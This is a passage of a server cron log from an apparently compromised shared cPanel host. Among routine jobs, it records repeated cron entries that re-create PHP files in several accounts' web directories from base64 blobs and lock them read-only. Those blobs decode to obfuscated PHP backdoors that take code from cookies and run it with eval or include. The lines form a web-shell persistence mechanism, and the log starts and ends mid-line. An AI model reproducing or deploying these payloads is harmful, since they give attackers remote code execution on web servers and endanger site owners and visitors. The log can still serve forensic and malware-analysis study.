gICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:37:01 medusa CROND[15748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:37:01 medusa CROND[15756]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:37:01 medusa CROND[15755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:37:01 medusa CROND[15757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:37:01 medusa CROND[15759]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:37:01 medusa CROND[15758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:37:01 medusa CROND[15760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:37:01 medusa CROND[15768]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:38:01 medusa CROND[1413]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:38:01 medusa CROND[1414]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:38:01 medusa CROND[1416]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:38:01 medusa CROND[1417]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:38:01 medusa CROND[1420]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:38:01 medusa CROND[1421]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:38:01 medusa CROND[1424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:38:01 medusa CROND[1428]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:38:01 medusa CROND[1429]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:38:01 medusa CROND[1443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:38:01 medusa CROND[1444]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:38:01 medusa CROND[1446]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:38:01 medusa CROND[1447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:39:01 medusa CROND[19935]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:39:01 medusa CROND[20195]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:39:01 medusa CROND[20198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:39:01 medusa CROND[20196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:39:01 medusa CROND[20201]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:39:01 medusa CROND[20202]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:39:01 medusa CROND[20208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:39:01 medusa CROND[20209]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3